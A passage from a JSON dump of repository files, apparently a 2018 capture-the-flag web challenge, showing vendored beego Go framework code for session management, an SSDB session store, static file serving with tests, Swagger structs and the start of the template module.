manager.provider.SessionRead(sid)\n\t\tcookie = &http.Cookie{Name: manager.config.CookieName,\n\t\t\tValue:    url.QueryEscape(sid),\n\t\t\tPath:     \"/\",\n\t\t\tHttpOnly: !manager.config.DisableHTTPOnly,\n\t\t\tSecure:   manager.isSecure(r),\n\t\t\tDomain:   manager.config.Domain,\n\t\t}\n\t} else {\n\t\toldsid, _ := url.QueryUnescape(cookie.Value)\n\t\tsession, _ = manager.provider.SessionRegenerate(oldsid, sid)\n\t\tcookie.Value = url.QueryEscape(sid)\n\t\tcookie.HttpOnly = true\n\t\tcookie.Path = \"/\"\n\t}\n\tif manager.config.CookieLifeTime > 0 {\n\t\tcookie.MaxAge = manager.config.CookieLifeTime\n\t\tcookie.Expires = time.Now().Add(time.Duration(manager.config.CookieLifeTime) * time.Second)\n\t}\n\tif manager.config.EnableSetCookie {\n\t\thttp.SetCookie(w, cookie)\n\t}\n\tr.AddCookie(cookie)\n\n\tif manager.config.EnableSidInHTTPHeader {\n\t\tr.Header.Set(manager.config.SessionNameInHTTPHeader, sid)\n\t\tw.Header().Set(manager.config.SessionNameInHTTPHeader, sid)\n\t}\n\n\treturn\n}\n\n// GetActiveSession Get all active sessions count number.\nfunc (manager *Manager) GetActiveSession() int {\n\treturn manager.provider.SessionAll()\n}\n\n// SetSecure Set cookie with https.\nfunc (manager *Manager) SetSecure(secure bool) {\n\tmanager.config.Secure = secure\n}\n\nfunc (manager *Manager) sessionID() (string, error) {\n\tb := make([]byte, manager.config.SessionIDLength)\n\tn, err := rand.Read(b)\n\tif n != len(b) || err != nil {\n\t\treturn \"\", fmt.Errorf(\"Could not successfully read from the system CSPRNG\")\n\t}\n\treturn hex.EncodeToString(b), nil\n}\n\n// Set cookie with https.\nfunc (manager *Manager) isSecure(req *http.Request) bool {\n\tif !manager.config.Secure {\n\t\treturn false\n\t}\n\tif req.URL.Scheme != \"\" {\n\t\treturn req.URL.Scheme == \"https\"\n\t}\n\tif req.TLS == nil {\n\t\treturn false\n\t}\n\treturn true\n}\n\n// Log implement the log.Logger\ntype Log struct {\n\t*log.Logger\n}\n\n// NewSessionLog set io.Writer to create a Logger for session.\nfunc NewSessionLog(out io.Writer) *Log {\n\tsl := new(Log)\n\tsl.Logger = log.New(out, \"[SESSION]\", 1e9)\n\treturn sl\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/session/ssdb/sess_ssdb.go",
    "content": "package ssdb\n\nimport (\n\t\"errors\"\n\t\"net/http\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/astaxie/beego/session\"\n\t\"github.com/ssdb/gossdb/ssdb\"\n)\n\nvar ssdbProvider = &Provider{}\n\n// Provider holds ssdb client and configs\ntype Provider struct {\n\tclient      *ssdb.Client\n\thost        string\n\tport        int\n\tmaxLifetime int64\n}\n\nfunc (p *Provider) connectInit() error {\n\tvar err error\n\tif p.host == \"\" || p.port == 0 {\n\t\treturn errors.New(\"SessionInit First\")\n\t}\n\tp.client, err = ssdb.Connect(p.host, p.port)\n\treturn err\n}\n\n// SessionInit init the ssdb with the config\nfunc (p *Provider) SessionInit(maxLifetime int64, savePath string) error {\n\tp.maxLifetime = maxLifetime\n\taddress := strings.Split(savePath, \":\")\n\tp.host = address[0]\n\n\tvar err error\n\tif p.port, err = strconv.Atoi(address[1]); err != nil {\n\t\treturn err\n\t}\n\treturn p.connectInit()\n}\n\n// SessionRead return a ssdb client session Store\nfunc (p *Provider) SessionRead(sid string) (session.Store, error) {\n\tif p.client == nil {\n\t\tif err := p.connectInit(); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\tvar kv map[interface{}]interface{}\n\tvalue, err := p.client.Get(sid)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif value == nil || len(value.(string)) == 0 {\n\t\tkv = make(map[interface{}]interface{})\n\t} else {\n\t\tkv, err = session.DecodeGob([]byte(value.(string)))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\trs := &SessionStore{sid: sid, values: kv, maxLifetime: p.maxLifetime, client: p.client}\n\treturn rs, nil\n}\n\n// SessionExist judged whether sid is exist in session\nfunc (p *Provider) SessionExist(sid string) bool {\n\tif p.client == nil {\n\t\tif err := p.connectInit(); err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}\n\tvalue, err := p.client.Get(sid)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tif value == nil || len(value.(string)) == 0 {\n\t\treturn false\n\t}\n\treturn true\n}\n\n// SessionRegenerate regenerate session with new sid and delete oldsid\nfunc (p *Provider) SessionRegenerate(oldsid, sid string) (session.Store, error) {\n\t//conn.Do(\"setx\", key, v, ttl)\n\tif p.client == nil {\n\t\tif err := p.connectInit(); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\tvalue, err := p.client.Get(oldsid)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar kv map[interface{}]interface{}\n\tif value == nil || len(value.(string)) == 0 {\n\t\tkv = make(map[interface{}]interface{})\n\t} else {\n\t\tkv, err = session.DecodeGob([]byte(value.(string)))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\t_, err = p.client.Del(oldsid)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\t_, e := p.client.Do(\"setx\", sid, value, p.maxLifetime)\n\tif e != nil {\n\t\treturn nil, e\n\t}\n\trs := &SessionStore{sid: sid, values: kv, maxLifetime: p.maxLifetime, client: p.client}\n\treturn rs, nil\n}\n\n// SessionDestroy destroy the sid\nfunc (p *Provider) SessionDestroy(sid string) error {\n\tif p.client == nil {\n\t\tif err := p.connectInit(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t_, err := p.client.Del(sid)\n\treturn err\n}\n\n// SessionGC not implemented\nfunc (p *Provider) SessionGC() {\n}\n\n// SessionAll not implemented\nfunc (p *Provider) SessionAll() int {\n\treturn 0\n}\n\n// SessionStore holds the session information which stored in ssdb\ntype SessionStore struct {\n\tsid         string\n\tlock        sync.RWMutex\n\tvalues      map[interface{}]interface{}\n\tmaxLifetime int64\n\tclient      *ssdb.Client\n}\n\n// Set the key and value\nfunc (s *SessionStore) Set(key, value interface{}) error {\n\ts.lock.Lock()\n\tdefer s.lock.Unlock()\n\ts.values[key] = value\n\treturn nil\n}\n\n// Get return the value by the key\nfunc (s *SessionStore) Get(key interface{}) interface{} {\n\ts.lock.Lock()\n\tdefer s.lock.Unlock()\n\tif value, ok := s.values[key]; ok {\n\t\treturn value\n\t}\n\treturn nil\n}\n\n// Delete the key in session store\nfunc (s *SessionStore) Delete(key interface{}) error {\n\ts.lock.Lock()\n\tdefer s.lock.Unlock()\n\tdelete(s.values, key)\n\treturn nil\n}\n\n// Flush delete all keys and values\nfunc (s *SessionStore) Flush() error {\n\ts.lock.Lock()\n\tdefer s.lock.Unlock()\n\ts.values = make(map[interface{}]interface{})\n\treturn nil\n}\n\n// SessionID return the sessionID\nfunc (s *SessionStore) SessionID() string {\n\treturn s.sid\n}\n\n// SessionRelease Store the keyvalues into ssdb\nfunc (s *SessionStore) SessionRelease(w http.ResponseWriter) {\n\tb, err := session.EncodeGob(s.values)\n\tif err != nil {\n\t\treturn\n\t}\n\ts.client.Do(\"setx\", s.sid, string(b), s.maxLifetime)\n}\n\nfunc init() {\n\tsession.Register(\"ssdb\", ssdbProvider)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/staticfile.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage beego\n\nimport (\n\t\"bytes\"\n\t\"errors\"\n\t\"net/http\"\n\t\"os\"\n\t\"path\"\n\t\"path/filepath\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/astaxie/beego/context\"\n\t\"github.com/astaxie/beego/logs\"\n)\n\nvar errNotStaticRequest = errors.New(\"request not a static file request\")\n\nfunc serverStaticRouter(ctx *context.Context) {\n\tif ctx.Input.Method() != \"GET\" && ctx.Input.Method() != \"HEAD\" {\n\t\treturn\n\t}\n\n\tforbidden, filePath, fileInfo, err := lookupFile(ctx)\n\tif err == errNotStaticRequest {\n\t\treturn\n\t}\n\n\tif forbidden {\n\t\texception(\"403\", ctx)\n\t\treturn\n\t}\n\n\tif filePath == \"\" || fileInfo == nil {\n\t\tif BConfig.RunMode == DEV {\n\t\t\tlogs.Warn(\"Can't find/open the file:\", filePath, err)\n\t\t}\n\t\thttp.NotFound(ctx.ResponseWriter, ctx.Request)\n\t\treturn\n\t}\n\tif fileInfo.IsDir() {\n\t\trequestURL := ctx.Input.URL()\n\t\tif requestURL[len(requestURL)-1] != '/' {\n\t\t\tredirectURL := requestURL + \"/\"\n\t\t\tif ctx.Request.URL.RawQuery != \"\" {\n\t\t\t\tredirectURL = redirectURL + \"?\" + ctx.Request.URL.RawQuery\n\t\t\t}\n\t\t\tctx.Redirect(302, redirectURL)\n\t\t} else {\n\t\t\t//serveFile will list dir\n\t\t\thttp.ServeFile(ctx.ResponseWriter, ctx.Request, filePath)\n\t\t}\n\t\treturn\n\t}\n\n\tvar enableCompress = BConfig.EnableGzip && isStaticCompress(filePath)\n\tvar acceptEncoding string\n\tif enableCompress {\n\t\tacceptEncoding = context.ParseEncoding(ctx.Request)\n\t}\n\tb, n, sch, err := openFile(filePath, fileInfo, acceptEncoding)\n\tif err != nil {\n\t\tif BConfig.RunMode == DEV {\n\t\t\tlogs.Warn(\"Can't compress the file:\", filePath, err)\n\t\t}\n\t\thttp.NotFound(ctx.ResponseWriter, ctx.Request)\n\t\treturn\n\t}\n\n\tif b {\n\t\tctx.Output.Header(\"Content-Encoding\", n)\n\t} else {\n\t\tctx.Output.Header(\"Content-Length\", strconv.FormatInt(sch.size, 10))\n\t}\n\n\thttp.ServeContent(ctx.ResponseWriter, ctx.Request, filePath, sch.modTime, sch)\n}\n\ntype serveContentHolder struct {\n\t*bytes.Reader\n\tmodTime  time.Time\n\tsize     int64\n\tencoding string\n}\n\nvar (\n\tstaticFileMap = make(map[string]*serveContentHolder)\n\tmapLock       sync.RWMutex\n)\n\nfunc openFile(filePath string, fi os.FileInfo, acceptEncoding string) (bool, string, *serveContentHolder, error) {\n\tmapKey := acceptEncoding + \":\" + filePath\n\tmapLock.RLock()\n\tmapFile := staticFileMap[mapKey]\n\tmapLock.RUnlock()\n\tif isOk(mapFile, fi) {\n\t\treturn mapFile.encoding != \"\", mapFile.encoding, mapFile, nil\n\t}\n\tmapLock.Lock()\n\tdefer mapLock.Unlock()\n\tif mapFile = staticFileMap[mapKey]; !isOk(mapFile, fi) {\n\t\tfile, err := os.Open(filePath)\n\t\tif err != nil {\n\t\t\treturn false, \"\", nil, err\n\t\t}\n\t\tdefer file.Close()\n\t\tvar bufferWriter bytes.Buffer\n\t\t_, n, err := context.WriteFile(acceptEncoding, &bufferWriter, file)\n\t\tif err != nil {\n\t\t\treturn false, \"\", nil, err\n\t\t}\n\t\tmapFile = &serveContentHolder{Reader: bytes.NewReader(bufferWriter.Bytes()), modTime: fi.ModTime(), size: int64(bufferWriter.Len()), encoding: n}\n\t\tstaticFileMap[mapKey] = mapFile\n\t}\n\n\treturn mapFile.encoding != \"\", mapFile.encoding, mapFile, nil\n}\n\nfunc isOk(s *serveContentHolder, fi os.FileInfo) bool {\n\tif s == nil {\n\t\treturn false\n\t}\n\treturn s.modTime == fi.ModTime() && s.size == fi.Size()\n}\n\n// isStaticCompress detect static files\nfunc isStaticCompress(filePath string) bool {\n\tfor _, statExtension := range BConfig.WebConfig.StaticExtensionsToGzip {\n\t\tif strings.HasSuffix(strings.ToLower(filePath), strings.ToLower(statExtension)) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// searchFile search the file by url path\n// if none the static file prefix matches ,return notStaticRequestErr\nfunc searchFile(ctx *context.Context) (string, os.FileInfo, error) {\n\trequestPath := filepath.ToSlash(filepath.Clean(ctx.Request.URL.Path))\n\t// special processing : favicon.ico/robots.txt  can be in any static dir\n\tif requestPath == \"/favicon.ico\" || requestPath == \"/robots.txt\" {\n\t\tfile := path.Join(\".\", requestPath)\n\t\tif fi, _ := os.Stat(file); fi != nil {\n\t\t\treturn file, fi, nil\n\t\t}\n\t\tfor _, staticDir := range BConfig.WebConfig.StaticDir {\n\t\t\tfilePath := path.Join(staticDir, requestPath)\n\t\t\tif fi, _ := os.Stat(filePath); fi != nil {\n\t\t\t\treturn filePath, fi, nil\n\t\t\t}\n\t\t}\n\t\treturn \"\", nil, errNotStaticRequest\n\t}\n\n\tfor prefix, staticDir := range BConfig.WebConfig.StaticDir {\n\t\tif !strings.Contains(requestPath, prefix) {\n\t\t\tcontinue\n\t\t}\n\t\tif len(requestPath) > len(prefix) && requestPath[len(prefix)] != '/' {\n\t\t\tcontinue\n\t\t}\n\t\tfilePath := path.Join(staticDir, requestPath[len(prefix):])\n\t\tif fi, err := os.Stat(filePath); fi != nil {\n\t\t\treturn filePath, fi, err\n\t\t}\n\t}\n\treturn \"\", nil, errNotStaticRequest\n}\n\n// lookupFile find the file to serve\n// if the file is dir ,search the index.html as default file( MUST NOT A DIR also)\n// if the index.html not exist or is a dir, give a forbidden response depending on  DirectoryIndex\nfunc lookupFile(ctx *context.Context) (bool, string, os.FileInfo, error) {\n\tfp, fi, err := searchFile(ctx)\n\tif fp == \"\" || fi == nil {\n\t\treturn false, \"\", nil, err\n\t}\n\tif !fi.IsDir() {\n\t\treturn false, fp, fi, err\n\t}\n\tif requestURL := ctx.Input.URL(); requestURL[len(requestURL)-1] == '/' {\n\t\tifp := filepath.Join(fp, \"index.html\")\n\t\tif ifi, _ := os.Stat(ifp); ifi != nil && ifi.Mode().IsRegular() {\n\t\t\treturn false, ifp, ifi, err\n\t\t}\n\t}\n\treturn !BConfig.WebConfig.DirectoryIndex, fp, fi, err\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/staticfile_test.go",
    "content": "package beego\n\nimport (\n\t\"bytes\"\n\t\"compress/gzip\"\n\t\"compress/zlib\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n)\n\nvar currentWorkDir, _ = os.Getwd()\nvar licenseFile = filepath.Join(currentWorkDir, \"LICENSE\")\n\nfunc testOpenFile(encoding string, content []byte, t *testing.T) {\n\tfi, _ := os.Stat(licenseFile)\n\tb, n, sch, err := openFile(licenseFile, fi, encoding)\n\tif err != nil {\n\t\tt.Log(err)\n\t\tt.Fail()\n\t}\n\n\tt.Log(\"open static file encoding \"+n, b)\n\n\tassetOpenFileAndContent(sch, content, t)\n}\nfunc TestOpenStaticFile_1(t *testing.T) {\n\tfile, _ := os.Open(licenseFile)\n\tcontent, _ := ioutil.ReadAll(file)\n\ttestOpenFile(\"\", content, t)\n}\n\nfunc TestOpenStaticFileGzip_1(t *testing.T) {\n\tfile, _ := os.Open(licenseFile)\n\tvar zipBuf bytes.Buffer\n\tfileWriter, _ := gzip.NewWriterLevel(&zipBuf, gzip.BestCompression)\n\tio.Copy(fileWriter, file)\n\tfileWriter.Close()\n\tcontent, _ := ioutil.ReadAll(&zipBuf)\n\n\ttestOpenFile(\"gzip\", content, t)\n}\nfunc TestOpenStaticFileDeflate_1(t *testing.T) {\n\tfile, _ := os.Open(licenseFile)\n\tvar zipBuf bytes.Buffer\n\tfileWriter, _ := zlib.NewWriterLevel(&zipBuf, zlib.BestCompression)\n\tio.Copy(fileWriter, file)\n\tfileWriter.Close()\n\tcontent, _ := ioutil.ReadAll(&zipBuf)\n\n\ttestOpenFile(\"deflate\", content, t)\n}\n\nfunc assetOpenFileAndContent(sch *serveContentHolder, content []byte, t *testing.T) {\n\tt.Log(sch.size, len(content))\n\tif sch.size != int64(len(content)) {\n\t\tt.Log(\"static content file size not same\")\n\t\tt.Fail()\n\t}\n\tbs, _ := ioutil.ReadAll(sch)\n\tfor i, v := range content {\n\t\tif v != bs[i] {\n\t\t\tt.Log(\"content not same\")\n\t\t\tt.Fail()\n\t\t}\n\t}\n\tif len(staticFileMap) == 0 {\n\t\tt.Log(\"men map is empty\")\n\t\tt.Fail()\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/swagger/swagger.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n//\n// Swagger™ is a project used to describe and document RESTful APIs.\n//\n// The Swagger specification defines a set of files required to describe such an API. These files can then be used by the Swagger-UI project to display the API and Swagger-Codegen to generate clients in various languages. Additional utilities can also take advantage of the resulting files, such as testing tools.\n// Now in version 2.0, Swagger is more enabling than ever. And it's 100% open source software.\n\n// Package swagger struct definition\npackage swagger\n\n// Swagger list the resource\ntype Swagger struct {\n\tSwaggerVersion      string                `json:\"swagger,omitempty\" yaml:\"swagger,omitempty\"`\n\tInfos               Information           `json:\"info\" yaml:\"info\"`\n\tHost                string                `json:\"host,omitempty\" yaml:\"host,omitempty\"`\n\tBasePath            string                `json:\"basePath,omitempty\" yaml:\"basePath,omitempty\"`\n\tSchemes             []string              `json:\"schemes,omitempty\" yaml:\"schemes,omitempty\"`\n\tConsumes            []string              `json:\"consumes,omitempty\" yaml:\"consumes,omitempty\"`\n\tProduces            []string              `json:\"produces,omitempty\" yaml:\"produces,omitempty\"`\n\tPaths               map[string]*Item      `json:\"paths\" yaml:\"paths\"`\n\tDefinitions         map[string]Schema     `json:\"definitions,omitempty\" yaml:\"definitions,omitempty\"`\n\tSecurityDefinitions map[string]Security   `json:\"securityDefinitions,omitempty\" yaml:\"securityDefinitions,omitempty\"`\n\tSecurity            []map[string][]string `json:\"security,omitempty\" yaml:\"security,omitempty\"`\n\tTags                []Tag                 `json:\"tags,omitempty\" yaml:\"tags,omitempty\"`\n\tExternalDocs        *ExternalDocs         `json:\"externalDocs,omitempty\" yaml:\"externalDocs,omitempty\"`\n}\n\n// Information Provides metadata about the API. The metadata can be used by the clients if needed.\ntype Information struct {\n\tTitle          string `json:\"title,omitempty\" yaml:\"title,omitempty\"`\n\tDescription    string `json:\"description,omitempty\" yaml:\"description,omitempty\"`\n\tVersion        string `json:\"version,omitempty\" yaml:\"version,omitempty\"`\n\tTermsOfService string `json:\"termsOfService,omitempty\" yaml:\"termsOfService,omitempty\"`\n\n\tContact Contact  `json:\"contact,omitempty\" yaml:\"contact,omitempty\"`\n\tLicense *License `json:\"license,omitempty\" yaml:\"license,omitempty\"`\n}\n\n// Contact information for the exposed API.\ntype Contact struct {\n\tName  string `json:\"name,omitempty\" yaml:\"name,omitempty\"`\n\tURL   string `json:\"url,omitempty\" yaml:\"url,omitempty\"`\n\tEMail string `json:\"email,omitempty\" yaml:\"email,omitempty\"`\n}\n\n// License information for the exposed API.\ntype License struct {\n\tName string `json:\"name,omitempty\" yaml:\"name,omitempty\"`\n\tURL  string `json:\"url,omitempty\" yaml:\"url,omitempty\"`\n}\n\n// Item Describes the operations available on a single path.\ntype Item struct {\n\tRef     string     `json:\"$ref,omitempty\" yaml:\"$ref,omitempty\"`\n\tGet     *Operation `json:\"get,omitempty\" yaml:\"get,omitempty\"`\n\tPut     *Operation `json:\"put,omitempty\" yaml:\"put,omitempty\"`\n\tPost    *Operation `json:\"post,omitempty\" yaml:\"post,omitempty\"`\n\tDelete  *Operation `json:\"delete,omitempty\" yaml:\"delete,omitempty\"`\n\tOptions *Operation `json:\"options,omitempty\" yaml:\"options,omitempty\"`\n\tHead    *Operation `json:\"head,omitempty\" yaml:\"head,omitempty\"`\n\tPatch   *Operation `json:\"patch,omitempty\" yaml:\"patch,omitempty\"`\n}\n\n// Operation Describes a single API operation on a path.\ntype Operation struct {\n\tTags        []string              `json:\"tags,omitempty\" yaml:\"tags,omitempty\"`\n\tSummary     string                `json:\"summary,omitempty\" yaml:\"summary,omitempty\"`\n\tDescription string                `json:\"description,omitempty\" yaml:\"description,omitempty\"`\n\tOperationID string                `json:\"operationId,omitempty\" yaml:\"operationId,omitempty\"`\n\tConsumes    []string              `json:\"consumes,omitempty\" yaml:\"consumes,omitempty\"`\n\tProduces    []string              `json:\"produces,omitempty\" yaml:\"produces,omitempty\"`\n\tSchemes     []string              `json:\"schemes,omitempty\" yaml:\"schemes,omitempty\"`\n\tParameters  []Parameter           `json:\"parameters,omitempty\" yaml:\"parameters,omitempty\"`\n\tResponses   map[string]Response   `json:\"responses,omitempty\" yaml:\"responses,omitempty\"`\n\tSecurity    []map[string][]string `json:\"security,omitempty\" yaml:\"security,omitempty\"`\n\tDeprecated  bool                  `json:\"deprecated,omitempty\" yaml:\"deprecated,omitempty\"`\n}\n\n// Parameter Describes a single operation parameter.\ntype Parameter struct {\n\tIn          string          `json:\"in,omitempty\" yaml:\"in,omitempty\"`\n\tName        string          `json:\"name,omitempty\" yaml:\"name,omitempty\"`\n\tDescription string          `json:\"description,omitempty\" yaml:\"description,omitempty\"`\n\tRequired    bool            `json:\"required,omitempty\" yaml:\"required,omitempty\"`\n\tSchema      *Schema         `json:\"schema,omitempty\" yaml:\"schema,omitempty\"`\n\tType        string          `json:\"type,omitempty\" yaml:\"type,omitempty\"`\n\tFormat      string          `json:\"format,omitempty\" yaml:\"format,omitempty\"`\n\tItems       *ParameterItems `json:\"items,omitempty\" yaml:\"items,omitempty\"`\n\tDefault     interface{}     `json:\"default,omitempty\" yaml:\"default,omitempty\"`\n}\n\n// ParameterItems A limited subset of JSON-Schema's items object. It is used by parameter definitions that are not located in \"body\".\n// http://swagger.io/specification/#itemsObject\ntype ParameterItems struct {\n\tType             string            `json:\"type,omitempty\" yaml:\"type,omitempty\"`\n\tFormat           string            `json:\"format,omitempty\" yaml:\"format,omitempty\"`\n\tItems            []*ParameterItems `json:\"items,omitempty\" yaml:\"items,omitempty\"` //Required if type is \"array\". Describes the type of items in the array.\n\tCollectionFormat string            `json:\"collectionFormat,omitempty\" yaml:\"collectionFormat,omitempty\"`\n\tDefault          string            `json:\"default,omitempty\" yaml:\"default,omitempty\"`\n}\n\n// Schema Object allows the definition of input and output data types.\ntype Schema struct {\n\tRef         string               `json:\"$ref,omitempty\" yaml:\"$ref,omitempty\"`\n\tTitle       string               `json:\"title,omitempty\" yaml:\"title,omitempty\"`\n\tFormat      string               `json:\"format,omitempty\" yaml:\"format,omitempty\"`\n\tDescription string               `json:\"description,omitempty\" yaml:\"description,omitempty\"`\n\tRequired    []string             `json:\"required,omitempty\" yaml:\"required,omitempty\"`\n\tType        string               `json:\"type,omitempty\" yaml:\"type,omitempty\"`\n\tItems       *Schema              `json:\"items,omitempty\" yaml:\"items,omitempty\"`\n\tProperties  map[string]Propertie `json:\"properties,omitempty\" yaml:\"properties,omitempty\"`\n\tEnum        []interface{}        `json:\"enum,omitempty\" yaml:\"enum,omitempty\"`\n}\n\n// Propertie are taken from the JSON Schema definition but their definitions were adjusted to the Swagger Specification\ntype Propertie struct {\n\tRef                  string               `json:\"$ref,omitempty\" yaml:\"$ref,omitempty\"`\n\tTitle                string               `json:\"title,omitempty\" yaml:\"title,omitempty\"`\n\tDescription          string               `json:\"description,omitempty\" yaml:\"description,omitempty\"`\n\tDefault              interface{}          `json:\"default,omitempty\" yaml:\"default,omitempty\"`\n\tType                 string               `json:\"type,omitempty\" yaml:\"type,omitempty\"`\n\tExample              string               `json:\"example,omitempty\" yaml:\"example,omitempty\"`\n\tRequired             []string             `json:\"required,omitempty\" yaml:\"required,omitempty\"`\n\tFormat               string               `json:\"format,omitempty\" yaml:\"format,omitempty\"`\n\tReadOnly             bool                 `json:\"readOnly,omitempty\" yaml:\"readOnly,omitempty\"`\n\tProperties           map[string]Propertie `json:\"properties,omitempty\" yaml:\"properties,omitempty\"`\n\tItems                *Propertie           `json:\"items,omitempty\" yaml:\"items,omitempty\"`\n\tAdditionalProperties *Propertie           `json:\"additionalProperties,omitempty\" yaml:\"additionalProperties,omitempty\"`\n}\n\n// Response as they are returned from executing this operation.\ntype Response struct {\n\tDescription string  `json:\"description\" yaml:\"description\"`\n\tSchema      *Schema `json:\"schema,omitempty\" yaml:\"schema,omitempty\"`\n\tRef         string  `json:\"$ref,omitempty\" yaml:\"$ref,omitempty\"`\n}\n\n// Security Allows the definition of a security scheme that can be used by the operations\ntype Security struct {\n\tType             string            `json:\"type,omitempty\" yaml:\"type,omitempty\"` // Valid values are \"basic\", \"apiKey\" or \"oauth2\".\n\tDescription      string            `json:\"description,omitempty\" yaml:\"description,omitempty\"`\n\tName             string            `json:\"name,omitempty\" yaml:\"name,omitempty\"`\n\tIn               string            `json:\"in,omitempty\" yaml:\"in,omitempty\"`     // Valid values are \"query\" or \"header\".\n\tFlow             string            `json:\"flow,omitempty\" yaml:\"flow,omitempty\"` // Valid values are \"implicit\", \"password\", \"application\" or \"accessCode\".\n\tAuthorizationURL string            `json:\"authorizationUrl,omitempty\" yaml:\"authorizationUrl,omitempty\"`\n\tTokenURL         string            `json:\"tokenUrl,omitempty\" yaml:\"tokenUrl,omitempty\"`\n\tScopes           map[string]string `json:\"scopes,omitempty\" yaml:\"scopes,omitempty\"` // The available scopes for the OAuth2 security scheme.\n}\n\n// Tag Allows adding meta data to a single tag that is used by the Operation Object\ntype Tag struct {\n\tName         string        `json:\"name,omitempty\" yaml:\"name,omitempty\"`\n\tDescription  string        `json:\"description,omitempty\" yaml:\"description,omitempty\"`\n\tExternalDocs *ExternalDocs `json:\"externalDocs,omitempty\" yaml:\"externalDocs,omitempty\"`\n}\n\n// ExternalDocs include Additional external documentation\ntype ExternalDocs struct {\n\tDescription string `json:\"description,omitempty\" yaml:\"description,omitempty\"`\n\tURL         string `json:\"url,omitempty\" yaml:\"url,omitempty\"`\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/template.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage beego\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"html/template\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/astaxie/beego/logs\"\n\t\"github.com/astaxie/beego/utils\"\n)\n\nvar (\n\tbeegoTplFuncMap           = make(template.FuncMap)\n\tbeeViewPathTemplateLocked = false\n\t// beeViewPathTemplates caching map and supported template file extensions per view\n\tbeeViewPathTemplates = make(map[string]map[string]*template.Template)\n\ttemplatesLock        sync.RWMutex\n\t// beeTemplateExt stores the template extension which will build\n\tbeeTemplateExt = []string{\"tpl\", \"html\"}\n\t// beeTemplatePreprocessors stores associations of extension -> preprocessor handler\n\tbeeTemplateEngines = map[string]templatePreProcessor{}\n)\n\n// ExecuteTemplate applies the template with name  to the specified data object,\n// writing the output to wr.\n// A template will be executed safely in parallel.\nfunc ExecuteTemplate(wr io.Writer, name string, data interface{}) error {\n\treturn ExecuteViewPathTemplate(wr, name, BConfig.WebConfig.ViewsPath, data)\n}\n\n// ExecuteViewPathTemplate applies the template with name and from specific viewPath to the specified data object,\n// writing the output to wr.\n// A template will be executed safely in parallel.\nfunc ExecuteViewPathTemplate(wr io.Writer, name string, viewPath string, data interface{}) error {\n\tif BConfig.RunMode == DEV {\n\t\ttemplatesLock.RLock()\n\t\tdefer templatesLock.RUnlock()\n\t}\n\tif beeTemplates, ok := beeViewPathTemplates[viewPath]; ok {\n\t\tif t, ok := beeTemplates[name]; ok {\n\t\t\tvar err error\n\t\t\tif t.Lookup(name) != nil {\n\t\t\t\terr = t.ExecuteTemplate(wr, name, data)\n\t\t\t} else {\n\t\t\t\terr = t.Execute(wr, data)\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\tlogs.Trace(\"template Execute err:\", err)\n\t\t\t}\n\t\t\treturn err\n\t\t}\n\t\tpanic(\"can't find templatefile in the path:\" + viewPath + \"/\" + name)\n\t}\n\tpanic(\"Unknown view path:\" + viewPath)\n}\n\nfunc init() {\n\tbeegoTplFuncMap[\"dateformat\"] = DateFormat\n\tbeegoTplFuncMap[\"date\"] = Date\n\tbeegoTplFuncMap[\"compare\"] = Compare\n\tbeegoTplFuncMap[\"compare_not\"] = CompareNot\n\tbeegoTplFuncMap[\"not_nil\"] = NotNil\n\tbeegoTplFuncMap[\"not_null\"] = NotNil\n\tbeegoTplFuncMap[\"substr\"] = Substr\n\tbeegoTplFuncMap[\"html2str\"] = 